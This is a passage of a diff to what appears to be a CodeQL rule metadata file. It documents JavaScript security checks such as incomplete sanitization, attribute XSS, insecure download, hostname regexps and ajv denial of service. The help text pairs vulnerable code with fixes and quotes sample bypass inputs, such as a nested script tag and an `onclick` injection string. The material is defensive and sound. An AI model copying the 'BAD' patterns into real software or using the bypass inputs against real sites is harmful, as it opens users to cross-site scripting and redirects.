+            "text" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-834", "external/cwe/cwe-730" ],
-            "description" : "Iterating over an object with a user-controlled .length\n              property can cause indefinite looping.",
-            "id" : "js/loop-bound-injection",
-            "kind" : "path-problem",
-            "name" : "Loop bound injection",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ],
+            "description" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence.",
+            "id" : "js/incomplete-multi-character-sanitization",
+            "kind" : "problem",
+            "name" : "Incomplete multi-character sanitization",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/insecure-download",
-          "name" : "js/insecure-download",
+          "id" : "js/incomplete-html-attribute-sanitization",
+          "name" : "js/incomplete-html-attribute-sanitization",
           "shortDescription" : {
-            "text" : "Download of sensitive file through insecure connection"
+            "text" : "Incomplete HTML attribute sanitization"
           },
           "fullDescription" : {
-            "text" : "Downloading executables and other sensitive files over an insecure connection opens up for potential man-in-the-middle attacks."
+            "text" : "Writing incompletely sanitized values to HTML attribute strings can lead to a cross-site scripting vulnerability."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n",
-            "markdown" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"
+            "text" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-829" ],
-            "description" : "Downloading executables and other sensitive files over an insecure connection\n              opens up for potential man-in-the-middle attacks.",
-            "id" : "js/insecure-download",
+            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-020" ],
+            "description" : "Writing incompletely sanitized values to HTML\n              attribute strings can lead to a cross-site\n              scripting vulnerability.",
+            "id" : "js/incomplete-html-attribute-sanitization",
             "kind" : "path-problem",
-            "name" : "Download of sensitive file through insecure connection",
+            "name" : "Incomplete HTML attribute sanitization",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "8.1"
+            "problem.severity" : "warning",
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/incomplete-hostname-regexp",
-          "name" : "js/incomplete-hostname-regexp",
+          "id" : "js/resource-exhaustion-from-deep-object-traversal",
+          "name" : "js/resource-exhaustion-from-deep-object-traversal",
           "shortDescription" : {
-            "text" : "Incomplete regular expression for hostnames"
+            "text" : "Resources exhaustion from deep object traversal"
           },
           "fullDescription" : {
-            "text" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected."
+            "text" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    let regex = /^((www|beta).)?example.com/;\n    if (host.match(regex)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
-            "description" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected.",
-            "id" : "js/incomplete-hostname-regexp",
-            "kind" : "problem",
-            "name" : "Incomplete regular expression for hostnames",
+            "tags" : [ "security", "external/cwe/cwe-400" ],
+            "description" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service.",
+            "id" : "js/resource-exhaustion-from-deep-object-traversal",
+            "kind" : "path-problem",
+            "name" : "Resources exhaustion from deep object traversal",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.8"
-          }
-        }, {
-          "id" : "js/incorrect-suffix-check",
-          "name" : "js/incorrect-suffix-check",
-          "shortDescription" : {
-            "text" : "Incorrect suffix check"
-          },
-          "fullDescription" : {
-            "text" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "error"
-          },
-          "help" : {
-            "text" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n  return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n  let index = x.lastIndexOf(y);\n  return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
-          },
-          "properties" : {
-            "tags" : [ "security", "correctness", "external/cwe/cwe-020" ],
-            "description" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled.",
-            "id" : "js/incorrect-suffix-check",
-            "kind" : "problem",
-            "name" : "Incorrect suffix check",
-            "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.8"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/incomplete-url-substring-sanitization",
-          "name" : "js/incomplete-url-substring-sanitization",
+          "id" : "js/insecure-dependency",
+          "name" : "js/insecure-dependency",
           "shortDescription" : {
-            "text" : "Incomplete URL substring sanitization"
+            "text" : "Dependency download using unencrypted communication channel"
           },
           "fullDescription" : {
-            "text" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing."
+            "text" : "Using unencrypted protocols to fetch dependencies can leave an application open to man-in-the-middle attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following 